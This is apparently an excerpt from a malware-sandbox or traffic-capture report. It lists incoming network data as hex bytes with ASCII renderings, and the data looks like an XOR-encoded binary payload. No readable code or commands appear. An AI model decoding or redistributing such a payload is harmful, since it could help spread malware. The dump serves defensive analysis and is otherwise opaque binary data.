2022-06-26 07:43:17 UTC	687	IN	Data Raw: 50 95 4e b5 30 66 11 2c 2e 7b 32 a9 f7 99 2d 5e e9 15 0d a0 0d 23 da 66 d4 ad 30 da 66 fd 0e f7 66 9e 0d 0c 0b 23 da d7 dc 7c 59 6d 1c 25 0d 00 0b 23 da 64 1e 29 d7 dc 7c 19 6f 1c 25 0d 3b 0b 23 da 64 1e 2d d7 dc 7c 59 6d 1c 25 0d e2 0b 23 da 66 15 64 4e 31 66 eb 66 b2 0d a4 27 25 25 66 9e a5 58 da 25 99 ea 0d ed 0d 23 da 89 6a e0 25 25 25 25 5e e9 31 66 9e 3a 83 36 34 38 9e 66 e5 2e 7b 0d 98 0d 23 da 66 ff 66 15 66 ae a5 07 21 66 eb 0d bc c0 23 da 66 6b 29 0d c4 c0 23 da 66 6b 2d 0d bc c0 23 da 66 6b 31 0d b4 c0 23 da a9 b6 a3 e2 66 eb 0d 97 0d 23 da 83 36 9e 68 65 25 2e 7b 66 ff 66 15 60 b6 99 35 66 eb 0d 86 29 da da 16 fd 99 e0 0e e5 83 36 9e d5 dc 83 36 9e b5 2e 7b 32 66 1f 66 15 66 6b 31 66 7d 2d 26 5e d6 25 a1 00 66 ae 66 6b 31 0d 46 de 25 25 66 b2 Data Ascii: PN0f,.{2-^#f0ff#\|Ym%#d)\|o%;#d-\|Ym%#fdN1ff'%%fX%#j%%%%^1f:648f.{#fff!f#fk)#fk-#fk1#f#6he%.{ff`5f)66.{2fffk1f}-&^%ffk1F%%f
2022-06-26 07:43:17 UTC	692	IN	Data Raw: 35 8d 8a 83 1c 25 66 20 21 0d d0 b0 23 da 9e c4 b2 ff 23 da c6 15 83 34 38 9e b5 30 66 11 5e e9 1d 2e 7b 0e a4 64 28 1d 66 ff 64 20 21 0e e5 30 8d 2c 3a 1c 25 89 da 55 89 64 45 66 20 21 0d 61 d4 da da 0e e5 30 8d 59 3a 1c 25 89 da 55 89 64 45 66 9e 66 35 da 37 66 15 66 9e 0d 2a e6 25 25 06 15 68 20 1d 66 f3 0e f7 0d ec 07 23 da 66 30 1d 66 f3 66 9e 66 3d da 2e 31 66 30 1d 66 20 21 66 2d da 2c 51 0e e5 7f 34 34 89 64 35 8d 16 3a 1c 25 66 20 21 0d 7c d4 da da 9e c4 26 ff 23 da c6 15 0e e5 7f 34 34 89 64 35 8d 7d 3a 1c 25 68 20 1d 0d fd 05 23 da 9e c4 53 ff 23 da c6 15 83 36 34 34 38 9e 66 e5 30 66 11 5e e9 1d 2e 7b 32 0e b6 64 38 1d 66 cc 66 ff 64 20 21 0e e5 30 8d dc 85 1c 25 89 da 55 89 64 45 16 ce 99 89 66 20 21 0d 64 1d da da 0e e5 30 8d 09 3a 1c 25 89 Data Ascii: 5%f !##480f^.{d(fd !0,:%UdEf !a0Y:%UdEff57ff*%%h f#f0fff=.1f0f !f-,Q44d5:%f !\|&#44d5}:%h #S#6448f0f^.{2d8ffd !0%UdEf !d0:%
2022-06-26 07:43:17 UTC	696	IN	Data Raw: 30 1d 64 20 21 5e 18 b1 0d 1c 25 25 ea a9 ab 25 25 25 7c b1 0d 1c 25 0d 4b c0 da da 66 1d 0e e5 30 8d 8a 4a 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 a1 69 66 ae 66 a2 0d 45 be da da 66 15 5e 58 21 25 99 2d 66 6b 2d 16 20 21 50 00 5e 58 1d 25 99 ea 66 7b 35 66 20 1d 0d fe e8 da da a9 e5 99 35 66 ae 66 a2 0d 23 bc da da 66 eb 0d e6 a0 23 da 26 5e d6 da 50 e1 0e e5 7f 34 34 89 64 35 8d db 4a 1c 25 7c b1 0d 1c 25 0d eb 09 da da 9e c4 f5 a4 23 da c6 13 3a 83 36 34 34 38 9e 68 65 25 30 66 11 2c 2e 7b 32 64 20 21 5e 18 b1 0d 1c 25 25 99 46 7c b1 0d 1c 25 0d 5e 09 da da 66 1d 0e e5 30 8d 12 95 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 a1 04 66 ae 66 a2 0d 58 07 da da 66 15 66 6b 29 16 20 21 50 35 66 ae 66 a2 0d 9b bc da da 66 eb 0d 5e e9 23 da 26 5e d6 da Data Ascii: 0d !^%%%%%\|%Kf0J%UdEf:-&^%iffEf^X!%-fk- !P^X%f{5f 5ff#f#&^P44d5J%\|%#:6448he%0f,.{2d !^%%F\|%^f0%UdEf:-&^%ffXffk) !P5fff^#&^
2022-06-26 07:43:17 UTC	700	IN	Data Raw: c6 c6 66 20 21 83 36 66 c0 38 9e 66 e5 2e 7b 32 5e e9 1d 66 cc 66 1f 66 fd 8f 65 8d 25 55 25 25 7b 8f 25 2e 0d 79 c0 23 da 64 29 49 68 69 49 29 75 7b 32 66 69 49 31 75 2e 0d 5a c0 23 da 66 29 49 34 7f 3a 83 36 9e 66 e5 30 66 11 5e e9 15 2e 7b 32 66 d4 66 17 66 fd 66 28 31 66 b2 66 9e 0d 84 da da da 64 20 1d 66 eb 0d b2 23 da da 66 ed 66 fb 66 9e 0d b9 da da da 64 20 21 68 20 15 75 8f 25 66 20 1d 75 66 20 21 75 8f 25 8f 25 2e 0d 2c be 23 da 66 15 a5 58 2d 25 99 f6 8f da 7b 0d dc c0 23 da 68 20 19 75 66 20 31 75 32 66 20 1d 75 2e 0d a3 09 23 da 66 eb 3a 83 36 66 c0 38 e7 2d 25 68 65 25 2e 7b 32 30 5c e9 f5 23 da da 66 0f 66 1d 0e b6 8f 65 8d 25 35 25 25 8d fe dc 25 25 8f 25 32 0d b9 09 23 da 64 29 49 5e 61 49 25 ea a9 84 25 25 25 66 29 49 eb 69 49 31 8d 68 Data Ascii: f !6f8f.{2^fffe%U%%{%.y#d)IhiI)u{2fiI1u.Z#f)I4:6f0f^.{2ffff(1ffd f#fffd !h u%f uf !u%%.,#fX-%{#h uf 1u2f u.#f:6f8-%he%.{20\#ffe%5%%%%%2#d)I^aI%%%%f)IiI1h
2022-06-26 07:43:17 UTC	703	IN	Data Raw: e9 19 2e 7b 32 0e b6 64 38 19 66 d4 64 30 1d 64 20 21 66 20 21 0d e3 dd 23 da 66 20 1d 0d db dd 23 da 0e e5 30 8d a8 b1 1c 25 89 da 55 89 64 45 0e 1b 68 20 19 66 30 21 0d 5e d9 23 da 66 20 19 0d 7e db 23 da 75 66 a2 94 dc 25 25 25 66 f0 d5 ad 1c 25 0d e1 eb 23 da 5e e9 29 66 30 19 66 20 1d 0d 8f 94 23 da 66 fd 26 5e d6 da 50 ea 66 e2 68 29 d5 66 30 19 0d dc d9 23 da c6 10 66 e2 68 29 d5 75 66 a6 df dc 25 25 25 66 20 19 0d db dd 23 da 66 20 1d 0d 73 db 23 da 66 ed de a6 68 20 19 df dc 25 25 25 0d b8 dd 23 da 6b 5e 58 19 25 50 84 0e e5 7f 34 34 89 64 35 8d f9 b1 1c 25 68 20 19 df de 25 25 25 0d a5 8e 23 da 9e c4 d7 d1 23 da c6 c6 3a 83 36 66 c0 38 9e b5 2e 7b 32 30 2c 66 c4 66 ff 64 29 49 68 4e dc 66 fb 66 a0 0d 49 94 23 da 73 60 1b a1 f6 6b 0e da 66 41 49 Data Ascii: .{2d8fd0d !f !#f #0%UdEh f0!^#f ~#uf%%%f%#^)f0f #f&^Pfh)f0#fh)uf%%%f #f s#fh %%%#k^X%P44d5%h %%%##:6f8.{20,ffd)IhNffI#s`kfAI
2022-06-26 07:43:17 UTC	707	IN	Data Raw: 25 df f1 d7 1c 25 0d 11 7e 23 da da 10 59 c4 1c 25 da 10 41 c4 1c 25 da 10 25 c4 1c 25 8d 05 d7 1c 25 68 60 99 da da da df 29 25 25 25 0d cc cb 23 da 66 60 99 da da da 0d 4b cd 23 da 75 0d 05 a2 23 da 7e ed 0d 1c 25 da 10 71 c4 1c 25 8d 11 d7 1c 25 da 10 5d c4 1c 25 8d 21 d7 1c 25 da 10 f5 0d 1c 25 68 60 95 da da da df e0 25 25 25 0d 8a cb 23 da 66 60 95 da da da 0d 09 82 23 da 75 7c ed 0d 1c 25 75 0d 7d a2 23 da 7e dd 0d 1c 25 df 6d 3e 65 25 dd dd 0d 1c 25 0d f9 11 da da 7c ed 0d 1c 25 75 0d 9c eb 23 da dd 59 c4 1c 25 df 31 8e 1c 25 0d 63 7e 23 da dd 41 c4 1c 25 df 3d 8e 1c 25 0d 0a 7e 23 da dd 25 c4 1c 25 df 49 8e 1c 25 0d 45 7e 23 da dd 5d c4 1c 25 df 55 8e 1c 25 0d ec 7e 23 da dd 71 c4 1c 25 df 65 8e 1c 25 0d 27 7e 23 da dd f5 0d 1c 25 df 71 8e 1c 25 Data Ascii: %%~#Y%A%%%%h`)%%%#f`K#u#~%q%%]%!%%h`%%%#f`#u\|%u}#~%m>e%%\|%u#Y%1%c~#A%=%~#%%I%E~#]%U%~#q%e%'~#%q%
2022-06-26 07:43:17 UTC	711	IN	Data Raw: 1c 25 7c ed 0d 1c 25 75 0d 2c 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d a8 01 da da 8d e5 db 1c 25 7c ed 0d 1c 25 75 0d 08 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 84 01 da da 7c ed 0d 1c 25 75 0d bb db 23 da dd 59 c4 1c 25 df 09 db 1c 25 0d ee 6e 23 da 68 60 99 d8 da da 94 f9 8e 1c 25 66 f0 59 c4 1c 25 0d 90 70 23 da 66 60 99 d8 da da 0d 83 72 23 da 66 f5 68 60 9d d8 da da 0d 64 b9 23 da 66 60 9d d8 da da df 25 a5 25 25 0d cc 43 da da 7e ed 0d 1c 25 8d 0d db 1c 25 7c ed 0d 1c 25 75 0d d1 db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 4d 01 da da 8d 21 db 1c 25 7c ed 0d 1c 25 75 0d ad db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 29 01 da da 8d 31 92 1c 25 7c ed 0d 1c 25 75 0d 89 db 23 da 7e dd 0d 1c 25 Data Ascii: %\|%u,#~%M>e%%%\|%u#~%M>e%%\|%u#Y%%n#h`%fY%p#f`r#fh`d#f`%%%C~%%\|%u#~%M>e%%M!%\|%u#~%M>e%%)1%\|%u#~%
2022-06-26 07:43:17 UTC	715	IN	Data Raw: 1c 25 a9 25 a9 25 25 25 a5 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 25 39 25 39 25 39 25 39 dc a9 67 a9 dc 2b 67 2b 25 41 25 41 25 25 25 39 e2 a5 22 a5 e2 27 22 27 25 25 25 25 25 25 25 25 25 25 25 25 2d 25 2d 25 25 25 25 25 25 25 25 25 25 25 25 25 35 1c c5 dc 3d dc 45 dc 09 45 09 45 da da 25 25 25 25 25 25 25 25 25 25 da da da da da da 35 dc 25 25 08 e0 1a 25 1a 27 1a 25 1a 27 1a 25 1a 25 1a 25 1a 27 35 dc da da da da da da da da da da da da da da fe 65 fe 65 fe 27 fe 27 da da da da da da da da 1a 25 1a 27 0a 25 1a 27 18 25 18 25 1a 25 1a 25 25 25 25 a5 25 a5 25 a5 25 25 25 25 da da da da da da da da da da da da da da da da da da da da 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 02 67 1a 25 1a 25 Data Ascii: %%%%%-%-%-%-%-%-%-%-%%9%9%9%9g+g+%A%A%%%9"'"'%%%%%%%%%%%%-%-%%%%%%%%%%%%%5=EEE%%%%%%%%%%5%%%'%'%%%'5ee''%'%'%%%%%%%%%%%%%EEEEEEEEEEEEEEEEg%%
2022-06-26 07:43:17 UTC	719	IN	Data Raw: 25 25 71 4a 3e 3c 91 1c 91 91 4a 3e 25 25 25 25 22 40 99 79 44 3e 46 1e 4a 50 93 99 25 25 25 25 2c 50 40 97 54 75 40 97 8b 4a 97 48 3c 93 3e 40 1e 4a 50 93 99 40 97 25 25 25 22 40 99 7b 40 97 4e 44 4a 93 25 25 25 25 22 40 99 1e 50 97 97 40 93 99 79 8d 97 40 3c 89 24 89 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 69 40 3e 97 40 48 40 93 99 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 24 93 3e 97 40 48 40 93 99 25 25 25 25 7b 44 97 99 50 3c 91 2c 50 40 97 54 25 25 25 25 32 44 89 40 1e 8d 3c 97 79 4a 28 50 91 99 44 67 54 99 40 25 25 25 28 50 91 99 44 67 54 99 40 79 4a 32 44 89 40 1e 8d 3c 97 25 25 25 91 4e 99 97 91 40 93 1c 25 25 25 25 91 4e 99 97 3e 95 54 93 1c 25 25 25 71 4a 3c 89 71 44 87 97 3c 97 54 20 9d 1c 25 25 25 25 22 40 99 79 8d 97 40 3c 89 71 4a Data Ascii: %%qJ><J>%%%%"@yD>FJP%%%%,P@Tu@JH<>@JP@%%%"@{@NDJ%%%%"@P@y@<$%%%%$@J>F@i@>@H@%%%%$@J>F@$>@H@%%%%{DP<,P@T%%%%2D@<yJ(PDgT@%%%(PDgT@yJ2D@<%%%N@%%%%N>T%%%qJ<qD<T %%%%"@y@<qJ
2022-06-26 07:43:17 UTC	724	IN	Data Raw: 59 f5 59 f9 59 fd 59 01 59 05 59 09 59 0d 59 11 59 21 59 41 10 49 10 4d 10 51 10 55 10 59 10 5d 10 61 10 65 10 69 10 7d 10 9d 10 a5 10 a9 10 ad 10 b1 10 b5 10 b9 10 bd 10 c1 10 c5 10 d9 10 f9 10 01 10 05 10 09 10 0d 10 11 10 15 10 19 10 1d 10 21 10 35 5b 55 5b 5d 5b 61 5b 65 5b 69 5b 6d 5b 71 5b 75 5b 79 5b 7d 5b 95 5b b5 5b bd 5b c1 5b c5 5b c9 5b cd 5b d1 5b d5 5b d9 5b dd 5b ed 5b 0d 5b 15 5b 19 5b 1d 5b 21 5b 25 12 29 12 2d 12 31 12 35 12 49 12 69 12 71 12 75 12 79 12 7d 12 81 12 85 12 89 12 8d 12 91 12 a1 12 c1 12 c9 12 cd 12 d1 12 d5 12 d9 12 dd 12 e1 12 e5 12 e9 12 fd 12 1d 12 25 5d 29 5d 2d 5d 31 5d 35 5d 39 5d 3d 5d 41 5d 45 5d 5d 5d 7d 5d 85 5d 89 5d 8d 5d 91 5d 95 5d 99 5d 9d 5d a1 5d a5 5d b9 5d d9 5d e1 5d e5 5d e9 5d ed 5d f1 5d f5 5d f9 5d Data Ascii: YYYYYYYYY!YAIMQUY]aei}!5[U[][a[e[i[m[q[u[y[}[[[[[[[[[[[[[[[[[![%)-15Iiquy}%])]-]1]5]9]=]A]E]]]}]]]]]]]]]]]]]]]]]]]
2022-06-26 07:43:17 UTC	728	IN	Data Raw: e9 14 f5 14 f9 14 09 14 11 14 15 14 19 14 1d 14 21 14 25 5f 29 5f 2d 5f 31 5f 35 5f 39 5f 3d 5f 41 5f 45 5f 49 5f 4d 5f 51 5f 55 5f 59 5f 5d 5f 61 5f 65 5f 69 5f 6d 5f 71 5f 75 5f 79 5f 7d 5f 81 5f 85 5f 89 5f 8d 5f 91 5f 95 5f 99 5f 9d 5f a1 5f a5 5f a9 5f ad 5f b1 5f bf 5f d1 5f df 5f e3 5f f5 5f c4 5f 19 5f 29 16 39 16 41 16 45 16 49 16 4d 16 51 16 55 16 59 16 5d 16 61 16 65 16 69 16 6d 16 71 16 75 16 79 16 7d 16 81 16 85 16 89 16 8d 16 91 16 95 16 99 16 9d 16 a1 16 a5 16 a9 16 ad 16 b1 16 b5 16 b9 16 bd 16 c1 16 c5 16 c9 16 cd 16 d1 16 d5 16 d9 16 dd 16 e1 16 e5 16 e9 16 ed 16 f1 16 f5 16 f9 16 09 16 d0 16 d4 16 31 61 51 61 59 61 5d 61 61 61 65 61 69 61 6d 61 71 61 75 61 79 61 7d 61 81 61 85 61 89 61 8d 61 91 61 95 61 a1 61 c1 61 c9 61 cd 61 d1 61 d5 Data Ascii: !%_)_-_1_5_9_=_A_E_I_M_Q_U_Y_]_a_e_i_m_q_u_y_}_____________________)9AEIMQUY]aeimquy}1aQaYa]aaaeaiamaqauaya}aaaaaaaaaaaa
2022-06-26 07:43:17 UTC	732	IN	Data Raw: 4e ac 99 59 ea 38 a5 bb c7 46 ac 3f d9 43 18 a5 db c7 82 ac 26 0d 50 99 25 58 af b3 3e a5 ac 0c 33 8b b1 b4 3c 81 b1 62 20 85 64 7d 3f 4b a2 3b 3e c0 7d 10 7b 6a 10 3e f8 7d 12 9b f0 f6 e5 c3 3c ca 2d 49 27 66 a5 ee 11 2d 83 a9 35 e7 91 a7 b5 b5 22 7d 71 7d 1e cd 00 11 fe d9 37 df 2d 32 e4 5e a9 0c e7 02 47 6e cd 2a d9 00 9f 37 d4 e9 9d 87 5f 8c b5 7d 6b d1 4b 13 fc 43 fc c3 00 83 02 33 ee 3a 6e 6d 49 33 a4 b7 09 73 2f fc 00 b5 57 24 e6 24 46 6d b6 6d 08 c9 2e c9 63 f7 35 44 c1 71 4b c6 b5 48 a4 03 09 2d d7 a5 d1 45 72 6c 92 b5 ea b5 2a b7 d6 a4 9e 09 92 39 5f a0 ad 07 71 e4 c7 49 77 c9 b9 37 6f 10 40 1a c0 29 80 7a 57 67 74 c5 cf 2c a8 84 c3 f9 2d cf ad 5f 7a 7f 24 48 c5 9b 75 0a 2e 62 84 ee 59 50 bf 00 a8 76 3b 1e a6 c9 08 7e b0 f5 bf 44 42 44 d2 8d 0a Data Ascii: NY8F?C&P%X>3<b d}?K;>}{j>}<-I'f-5"}q}7-2^Gn7_}kKC3:nmI3s/W$$Fmm.c5DqKH-Erl9_qIw7o@)zWgt,-_z$Hu.bYPv;~DBD
2022-06-26 07:43:17 UTC	735	IN	Data Raw: fc 57 57 f7 82 f9 23 51 2d e9 c7 0c 6f ad c7 ad 7b 86 00 16 56 e0 6c 6c 6c 63 e6 c8 ba 25 15 7f ee ac ac 2c 39 3b d3 d2 df 10 2a 31 85 37 86 fe 10 10 b0 25 f1 e0 19 21 12 88 ee 95 1f 2e e7 2b c1 e2 cb d8 22 35 f3 d6 0c eb da 27 d6 1a b6 1a de 25 6d ce 17 f3 d8 ac e7 61 25 25 25 25 24 20 73 69 d3 67 85 a7 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 Data Ascii: WW#Q-o{Vlllc%,9;*17%!.+"5'%ma%%%%$ sig%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
2022-06-26 07:43:17 UTC	739	IN	Data Raw: 4d 41 ff e3 b7 a0 66 07 74 70 3c e9 ac ac 6b c4 02 a2 ed 7f 9a 72 c7 f9 b1 bb cc b1 d2 34 bd ee e0 cd ba 96 60 60 66 43 40 f3 67 fe 13 9a a3 82 99 b2 44 d7 fb ca 00 fb bd ed c9 23 ef fa 71 93 5b 76 44 8f 8f 17 56 d9 46 d3 01 9c c1 bd 85 b7 0b 80 be 1d ce 5f 7a e2 2d 55 33 e9 75 38 fd 91 9b 53 3a e3 71 22 a2 78 ec b6 1d a5 2f 1e c5 e8 02 6a 0e 06 79 45 fc 5b 64 03 86 98 41 84 0d f6 dc c5 1f 14 98 1f 51 f1 f6 12 93 c5 4d 57 0c 0c 0c be 73 f5 48 92 be dd 7b 66 4c 5c c3 cb ae 42 94 ff f2 e7 07 30 20 e9 3f ee a2 7d 3b 45 e9 35 a5 ae c4 09 f9 84 2e 29 e0 44 6d 24 24 cc 5f 3c 2a 2a ea 40 40 40 c9 8f 38 11 84 df 65 3a 69 57 4a 91 fd 5d 91 c3 e5 33 15 83 e6 ce 07 a0 66 f9 b0 b0 87 8e b4 a4 ef ef 67 82 e6 80 90 d0 2f c2 f3 78 82 90 90 70 68 f6 ba 49 49 89 3f 00 00 Data Ascii: MAftp<kr4``fC@gD#q[vDVF_z-U3u8S:q"x/jyE[dAQMWsH{fL\B0 ?};E5.)Dm$$_<**@@@8e:iWJ]3fg/xphII?
2022-06-26 07:43:17 UTC	743	IN	Data Raw: 23 2c e3 0c 24 3b 6c 3d 5d 92 98 80 1b 5c 28 ae 7d 6b 39 42 18 25 2e 30 47 29 12 fe af 54 63 0e cb 46 23 71 a3 31 ce 07 b3 cd 8f c1 66 cf d7 98 c4 28 73 e0 e0 dc 5c db 12 aa 05 46 f5 5b fb 60 24 36 21 59 be 19 06 5b dd d7 1e 65 55 6c aa 37 4c 66 21 d4 ec a8 f6 ef fb fd 8b ea a2 73 7f 55 4d 2e a1 9c 4d 2e bd a5 02 d2 e1 9b 20 c7 1a b9 bb ab fd 73 f3 80 42 94 09 ff 6f ca b9 18 f0 c9 5f 81 92 52 4b 75 dc e9 52 35 0f e0 61 09 78 79 f0 af 00 89 0a a4 68 16 7d f3 cd 18 fe 62 46 b9 51 9f ef be a4 49 0c 2e 4b 27 53 36 53 be bc 76 22 b7 cd 3e 0f b0 e7 c9 8b a8 b2 6e 9f 65 69 13 c7 00 85 c6 e0 51 82 3d 43 37 ad 0f d1 33 97 f2 ab d5 8f 00 16 f5 5f 44 89 3a 09 70 3a a5 e5 af 08 9c f1 5e 43 f8 e5 d3 5c 4f ba ed 6e 4c 84 d9 f2 07 78 46 3c 62 07 a1 1f 68 a6 fc 4e a0 02 Data Ascii: #,$;l=]\(}k9B%.0G)TcF#q1f(s\F[`$6!Y[eUl7Lf!sUM.M. sBo_RKuR5axyh}bFQI.K'S6Sv">neiQ=C73_D:p:^C\OnLxF<bhN
2022-06-26 07:43:17 UTC	747	IN	Data Raw: 68 b7 0e 54 96 1f 6a b3 8d 2c 6c b1 29 ff d4 ec d7 47 31 95 47 5c fd 81 12 24 01 78 f4 44 c4 2b c7 ff 91 89 e3 4c 4e 75 9d b3 7f 73 41 8f be 07 92 d5 c3 37 99 35 eb 97 6f c4 f7 4c b6 6f 07 a4 11 79 e8 7c 07 5f b8 da 2c ea 16 d1 75 76 4b af 03 f4 92 26 69 ff bf 66 6a a2 1d eb c9 4e d3 1b 25 0c d8 cf 9a 84 41 e5 30 38 65 db 4d fb 16 5c bd 53 7f 59 74 04 d3 5f 5d 56 22 95 b6 86 20 82 f7 ea 84 ed 15 fd cf 50 79 63 3b 00 53 08 c9 d5 88 ad 1b de 76 98 85 a2 73 97 dd 5c f5 03 71 cd cb 8b 3f ff 23 24 82 ba 34 e9 0f 11 02 a9 de 6b d0 d3 2e fa 76 85 5a c1 5b 1d 4e b5 e4 55 3e 71 ef a5 da 4d f4 92 9c 01 9d 0c de 09 55 ae e6 23 d4 8b cf 19 88 28 30 26 76 b4 55 8f 2b 21 e9 e9 fb dc f8 8f 86 d0 d5 f4 4d 8c a2 ea 9f 67 6c 43 3d 10 05 8a 3e e9 b1 3a f0 97 95 fa 8a 3f 4f Data Ascii: hTj,l)G1G\$xD+LNusA75oLoy\|_,uvK&ifjN%A08eM\SYt_]V" Pyc;Svs\q?#$4k.vZ[NU>qMU#(0&vU+!MglC=>:?O
2022-06-26 07:43:17 UTC	751	IN	Data Raw: 39 dc 7e 73 79 c2 4b 51 dc 98 33 f8 48 e4 e1 62 e4 9e 3f 72 45 27 04 4e 05 31 69 a4 15 c2 1e 11 1d 78 50 60 9d df fc 8d 08 2f 4a 80 5d 0c a5 d0 9d 46 11 19 9f 59 68 16 49 89 7e 3a ea 4f c3 11 79 f1 68 d7 9d ef 70 10 10 df 8f 5e d7 bf 08 b0 6d 7c 34 d3 49 4f 88 dd ae 12 c3 23 a3 54 e7 82 09 89 f5 df 1f ba 58 56 cb 64 12 3a 3c b6 75 6f 03 59 62 be 28 5c 08 32 bf 8f f5 05 4e 22 5f 81 25 83 d1 66 ee 90 95 f7 ce 42 b1 ad 3d c4 75 ba 04 aa 11 69 c4 35 7a 88 06 e0 5d 73 ac 33 79 58 3d 28 61 b5 3c 72 c5 e7 bf 56 60 b9 b1 a2 f5 b6 8e b0 6e 29 f2 18 25 b7 52 2d 3f fa 52 cf 5e f3 c1 08 b0 0a 0d 4f 17 7e 8a 04 a2 c5 70 1d bc 0a ec 34 52 44 50 e8 df 8b 09 b2 ca 98 ea b8 01 86 6e f6 d7 22 b1 9a 69 9c d2 c5 9f cc f1 a1 52 47 5e 44 61 30 60 2c f9 df 6f 87 18 bb bd 2d 65 Data Ascii: 9~syKQ3Hb?rE'N1ixP`/J]FYhI~:Oyhp^m\|4IO#TXVd:<uoYb(\2N"_%fB=ui5z]s3yX=(a<rV`n)%R-?R^O~p4RDPn"iRG^Da0`,o-e
2022-06-26 07:43:17 UTC	756	IN	Data Raw: 62 34 71 ee d1 8f e9 8e 05 6e 12 41 57 67 df b1 60 d2 2c ad 8d c9 94 ad 9d dc 2e 3a e4 8b df 52 b0 d5 57 18 85 4f 94 c3 89 81 57 ee e2 43 8a 01 21 cb bb 34 b3 39 9e 1a 52 fc 0a 69 12 f6 5b ec 01 e2 99 a1 42 da ea 57 e4 f4 9a b9 5a 2c 7d 3f 6d 22 8d 0b 5e 83 44 fd e3 47 6f ae 65 a3 24 8f fe 51 04 78 77 64 33 2e 81 48 d0 8d ee fd 53 2a 4a 41 e7 7a 01 f0 de 9b 6a 17 18 6d 3c 75 6d 3a ec b6 99 1f 49 00 23 e6 69 b1 bc 42 27 ec fe c2 b8 c8 7f 9c 39 e2 7b 66 f8 c7 60 8b 01 02 2a f4 11 d3 a8 e5 81 eb e9 47 be 6c ba a9 2a 8c 1a e2 60 11 04 a2 3b 69 39 4d d1 e3 70 3b 8e d7 78 67 e5 c5 f3 69 65 48 e2 ec 23 f2 59 93 bd 7b 07 c2 75 48 d4 ca 3c 72 b9 2b fb ca 34 e4 c9 f2 e9 4b a0 ee 1d 0b b9 37 c3 ec 2d 9a fc a3 12 fd a8 16 4c 4e d0 3e 36 3e 6a 85 3a 4e 7b 45 03 4b aa Data Ascii: b4qnAWg`,.:RWOWC!49Ri[BWZ,}?m"^DGoe$Qxwd3.HSJAzjm<um:I#iB'9{f`Gl*`;i9Mp;xgieH#Y{uH<r+4K7-LN>6>j:N{EK
2022-06-26 07:43:17 UTC	760	IN	Data Raw: e8 64 21 81 90 ce 85 4a 79 4f 53 c9 ea 03 40 6f b6 c1 db 05 be a7 0c 50 f8 fe 68 1d 32 28 fc eb 46 68 39 75 0e 60 6b a7 6f 57 e8 f3 a9 1c 24 05 7b 10 30 d3 c7 87 90 b3 27 22 43 fc 4a b5 b3 f1 a4 b0 f6 93 5a 3a f6 e7 5a 0c 3e 5e 11 78 f0 8a 20 d6 b5 6c 43 af cd d7 5c 0e 08 1c 17 9c 3b ca 59 7f 4d 6d 12 d3 25 59 6f c3 6d 48 92 d2 8b eb 8c 7d d0 1f 6e 81 af 15 d9 f5 23 0b a7 af 81 28 f5 ea 24 0f 30 38 1f 14 8a 6a e8 d2 f4 60 74 85 dd 38 2e b2 a8 df d7 ee d3 ad ac 9c 67 1d 24 bb eb 8f 35 71 d9 d0 31 10 0d c3 34 57 54 36 e5 67 af 91 5e 1e 61 4c 2e fe 95 5c 3a 32 f5 8a d3 8c 83 7d e8 50 a2 04 02 94 66 f3 05 20 18 84 58 2f 9b 87 1b 58 62 fc 72 91 cf 2f 4c 6f cc 77 b4 62 62 4d 4d 3c fc 49 88 5e 83 92 b2 c7 80 44 cf 5e ec 02 ce 74 0d 27 29 76 4d d7 07 be 45 23 fc Data Ascii: d!JyOS@oPh2(Fh9u`koW${0'"CJZ:Z>^x lC\;YMm%YomH}n#($08j`t8.g$5q14WT6g^aL.\:2}Pf X/Xbr/LowbbMM<I^D^t')vME#
2022-06-26 07:43:17 UTC	764	IN	Data Raw: 67 ef 43 5b 46 45 59 48 27 19 fb a7 c8 3e 02 dd 7c 96 2a 86 5c fc 9f f1 ac fb 32 48 fd 6f f1 8f 0e 4e cf 9d 06 ab 74 80 3c b8 12 14 17 ab 26 0c db de 86 bc 66 11 cd 7b e5 83 ff e6 b0 57 2a 2e 59 66 0f 89 79 1b 1e cb 53 1e 45 28 e4 3e f2 2f 13 4a 6b 75 6c ec 44 88 e7 bd 2e 27 e8 e3 27 01 70 fb 57 a1 49 75 67 35 9d 23 7b ad ea 69 45 69 ce 82 b9 3b c3 2e 18 7f 9e f7 2e 87 3d 3c 87 e6 6e 9f 11 27 59 73 01 ae 58 f3 9d 9b e9 05 06 16 d2 f7 c6 14 8e bb 0c d9 39 76 0d ed 42 5a 23 d7 68 b5 4b 65 6b ce e5 ae fe 10 db ca 9a f2 54 a9 e4 47 a9 18 8c ed cc 95 f4 9e 35 35 9c 19 69 e1 74 a2 87 71 9a 3c 2a c7 28 80 43 8c 2b a3 db 1e f1 23 67 22 2d be 5c b1 db 58 b9 28 6e 52 ec fc 36 57 2b 89 3c 95 44 ff a8 ef 42 8e 1a ee a0 52 28 8d f3 c5 de a0 b7 a2 d9 1b 5e 8b 8a bd b5 Data Ascii: gC[FEYH'>\|\2HoNt<&f{W.YfySE(>/JkulD.''pWIug5#{iEi;..=<n'YsX9vBZ#hKekTG55itq<*(C+#g"-\X(nR6W+<DBR(^
